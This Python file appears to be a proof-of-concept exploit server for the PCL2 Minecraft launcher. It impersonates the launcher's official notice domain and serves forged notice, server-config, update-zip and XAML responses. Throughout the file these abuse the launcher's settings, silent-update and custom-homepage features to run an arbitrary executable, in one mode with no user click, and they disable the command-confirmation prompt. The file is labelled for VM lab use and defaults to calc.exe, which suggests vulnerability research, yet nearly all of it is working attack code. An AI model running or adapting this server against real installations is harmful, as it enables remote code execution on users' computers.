server.py 8.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. r"""
  4. PCL2 notice.json RCE PoC -- local HTTPS server.
  5. This server impersonates:
  6. https://pcl2-server-1253424809.file.myqcloud.com
  7. and serves a forged notice.cfg / notice.json / ServerConfig.json (and,
  8. depending on the mode, an update zip or a custom homepage XAML).
  9. It is intentionally small and only uses the Python standard library.
  10. Modes
  11. -----
  12. launch : notice.json -> actions.setup -> LaunchAdvanceRun = payload.exe
  13. (the payload runs when the user starts a Minecraft instance in PCL;
  14. this reproduces the sample notice supplied by the requester)
  15. update : notice.cfg v999 + notice.json -> actions.slientupdate
  16. + ServerConfig with Update.Release.DownloadUrls -> update.zip
  17. (zero-click: PCL silently downloads the zip, extracts it to
  18. <PCL>\PCL\Plain Craft Launcher 2.exe, and starts that file when
  19. PCL exits. The zip contains the payload renamed to the above.)
  20. xaml : notice.json -> actions.setup -> UiCustomType=2, UiCustomNet=...
  21. + HintCustomCommand=true
  22. (persistent; next PCL start downloads Custom.xaml from this server,
  23. and one click on the injected control runs the payload)
  24. both : launch + update
  25. Usage (Windows, elevated):
  26. python server.py --mode both --port 443
  27. Usage (Linux local smoke test):
  28. python server.py --mode both --port 8443 --bind 127.0.0.1
  29. """
  30. from __future__ import annotations
  31. import argparse
  32. import json
  33. import os
  34. import ssl
  35. import sys
  36. import threading
  37. import zipfile
  38. from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
  39. from pathlib import Path
  40. DOMAIN = "pcl2-server-1253424809.file.myqcloud.com"
  41. BASE = Path(__file__).resolve().parent
  42. WWW = BASE / "www"
  43. CERTS = BASE / "certs"
  44. NOTICE_ID = 11002 # must be greater than HintNotice (default 0)
  45. CONFIG_VERSION = 999 # forces PCL to refresh Cache\ServerConfig.json
  46. DEFAULT_PAYLOAD = r"C:\Users\Public\pclpoc.exe"
  47. PAYLOAD = DEFAULT_PAYLOAD
  48. LOG_LOCK = threading.Lock()
  49. def log(msg: str) -> None:
  50. with LOG_LOCK:
  51. print(msg, flush=True)
  52. def build_notice(mode: str, payload_exe: str) -> list:
  53. """Build the forged notice.json for the requested mode."""
  54. setup: dict[str, str] = {}
  55. actions: dict[str, object] = {}
  56. if mode in ("launch", "both"):
  57. # The exact primitive used by the sample notice: PCL writes the
  58. # setting, and McLaunchCustom later runs it with:
  59. # cmd.exe /c "<LaunchAdvanceRun>"
  60. setup["LaunchAdvanceRun"] = payload_exe
  61. setup["LaunchAdvanceRunWait"] = "False"
  62. if mode in ("xaml", "both"):
  63. # Persistent remote homepage + disable the command confirmation.
  64. setup["UiCustomType"] = "2"
  65. setup["UiCustomNet"] = f"https://{DOMAIN}/Custom.xaml"
  66. setup["HintCustomCommand"] = "True"
  67. if setup:
  68. actions["setup"] = setup
  69. if mode in ("update", "both"):
  70. # HasUpdatePermission is hard-coded to True in 2.99.0.0, so this
  71. # runs UpdateStart(Silent:=True) without any prompt.
  72. actions["slientupdate"] = {}
  73. if not actions:
  74. raise SystemExit(f"unknown/empty mode: {mode}")
  75. return [
  76. {
  77. "id": NOTICE_ID,
  78. "title": "VM LAB NOTICE",
  79. "description": "vm lab only",
  80. "requirements": {},
  81. "importantLevel": 999,
  82. "actions": actions,
  83. }
  84. ]
  85. def build_server_config() -> dict:
  86. return {
  87. "Version": CONFIG_VERSION,
  88. "Update": {
  89. "Release": {
  90. # PatchUrls is deliberately omitted: UpdateStart then falls
  91. # back to DownloadUrls, and the ".zip" suffix selects the
  92. # ExtractToDirectory code path instead of MsDelta.Apply.
  93. "DownloadUrls": [f"https://{DOMAIN}/update.zip"],
  94. }
  95. },
  96. }
  97. CUSTOM_XAML = """<StackPanel Margin="25,40,23,15">
  98. <TextBlock Text="PCL PoC - click Continue" FontSize="16" Margin="0,0,0,10"/>
  99. <local:MyButton Text="Continue" EventType="4" EventData="{payload}" Margin="0,6,0,0"/>
  100. </StackPanel>
  101. """
  102. def ensure_update_zip(payload_exe: str) -> Path:
  103. """Create www/update.zip containing the payload renamed to the PCL filename."""
  104. out = WWW / "update.zip"
  105. if out.exists() and out.stat().st_size > 0:
  106. return out
  107. candidates = [payload_exe] if payload_exe else []
  108. candidates += [
  109. os.path.join(os.environ.get("SystemRoot", r"C:\Windows"), "System32", "calc.exe"),
  110. os.path.join(os.environ.get("SystemRoot", r"C:\Windows"), "Sysnative", "calc.exe"),
  111. ]
  112. src = next((c for c in candidates if c and os.path.isfile(c)), None)
  113. if not src:
  114. raise SystemExit(
  115. f"payload not found ({payload_exe}); pass --payload-exe or place a prebuilt www/update.zip"
  116. )
  117. WWW.mkdir(parents=True, exist_ok=True)
  118. data = Path(src).read_bytes()
  119. zi = zipfile.ZipInfo("Plain Craft Launcher 2.exe", date_time=(2020, 1, 1, 0, 0, 0))
  120. zi.compress_type = zipfile.ZIP_DEFLATED
  121. with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as zf:
  122. zf.writestr(zi, data)
  123. log(f"[+] update.zip built from {src} ({out.stat().st_size} bytes)")
  124. return out
  125. class Handler(BaseHTTPRequestHandler):
  126. server_version = "PCLPoCLab/1.0"
  127. protocol_version = "HTTP/1.1"
  128. def log_message(self, fmt, *args): # noqa: A003
  129. log(f"[http] {self.address_string()} {fmt % args}")
  130. def _send(self, body: bytes, ctype: str = "application/json; charset=utf-8",
  131. code: int = 200) -> None:
  132. self.send_response(code)
  133. self.send_header("Content-Type", ctype)
  134. self.send_header("Content-Length", str(len(body)))
  135. self.send_header("Cache-Control", "no-store")
  136. self.end_headers()
  137. self.wfile.write(body)
  138. def do_GET(self): # noqa: N802
  139. path = self.path.split("?", 1)[0]
  140. mode = self.server.mode # type: ignore[attr-defined]
  141. log(f"[req ] {path}")
  142. if path == "/notice.cfg":
  143. # id|?|?|?|ServerConfigVersion
  144. body = f"{NOTICE_ID}|0|0|0|{CONFIG_VERSION}".encode()
  145. return self._send(body, "text/plain; charset=utf-8")
  146. if path == "/notice.json":
  147. body = json.dumps(build_notice(mode, self.server.payload_exe), ensure_ascii=False, indent=2).encode("utf-8")
  148. return self._send(body, "application/json; charset=utf-8")
  149. if path == "/ServerConfig.json":
  150. body = json.dumps(build_server_config(), ensure_ascii=False, indent=2).encode("utf-8")
  151. return self._send(body, "application/json; charset=utf-8")
  152. if path == "/update.zip":
  153. f = WWW / "update.zip"
  154. if f.exists():
  155. return self._send(f.read_bytes(), "application/zip")
  156. return self._send(b"no update.zip", "text/plain", 404)
  157. if path in ("/Custom.xaml", "/Custom.xaml.ini"):
  158. if path.endswith(".ini"):
  159. return self._send(b"1", "text/plain; charset=utf-8")
  160. xaml = CUSTOM_XAML.replace("{payload}", self.server.payload_exe)
  161. return self._send(xaml.encode("utf-8"), "application/xml; charset=utf-8")
  162. # Anything else is served from www/ if present (for manual poking).
  163. candidate = (WWW / path.lstrip("/")).resolve()
  164. if candidate.is_file() and WWW in candidate.parents:
  165. return self._send(candidate.read_bytes(), "application/octet-stream")
  166. return self._send(b"not found", "text/plain", 404)
  167. def main() -> int:
  168. ap = argparse.ArgumentParser()
  169. ap.add_argument("--mode", default="both", choices=["launch", "update", "xaml", "both"])
  170. ap.add_argument("--port", type=int, default=443)
  171. ap.add_argument("--bind", default="0.0.0.0")
  172. ap.add_argument("--payload-exe", default=DEFAULT_PAYLOAD,
  173. help="Windows payload exe (writes marker + starts calc.exe)")
  174. ap.add_argument("--cert", default=str(CERTS / "server.crt"))
  175. ap.add_argument("--key", default=str(CERTS / "server.key"))
  176. ap.add_argument("--no-tls", action="store_true")
  177. args = ap.parse_args()
  178. WWW.mkdir(parents=True, exist_ok=True)
  179. if args.mode in ("update", "both"):
  180. ensure_update_zip(args.payload_exe)
  181. httpd = ThreadingHTTPServer((args.bind, args.port), Handler)
  182. httpd.mode = args.mode # type: ignore[attr-defined]
  183. httpd.payload_exe = args.payload_exe # type: ignore[attr-defined]
  184. if not args.no_tls:
  185. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
  186. ctx.minimum_version = ssl.TLSVersion.TLSv1_2
  187. ctx.load_cert_chain(args.cert, args.key)
  188. httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
  189. scheme = "http" if args.no_tls else "https"
  190. log(f"[+] {scheme}://{args.bind}:{args.port} mode={args.mode}")
  191. log(f"[+] forged host: {DOMAIN}")
  192. try:
  193. httpd.serve_forever()
  194. except KeyboardInterrupt:
  195. pass
  196. return 0
  197. if __name__ == "__main__":
  198. raise SystemExit(main())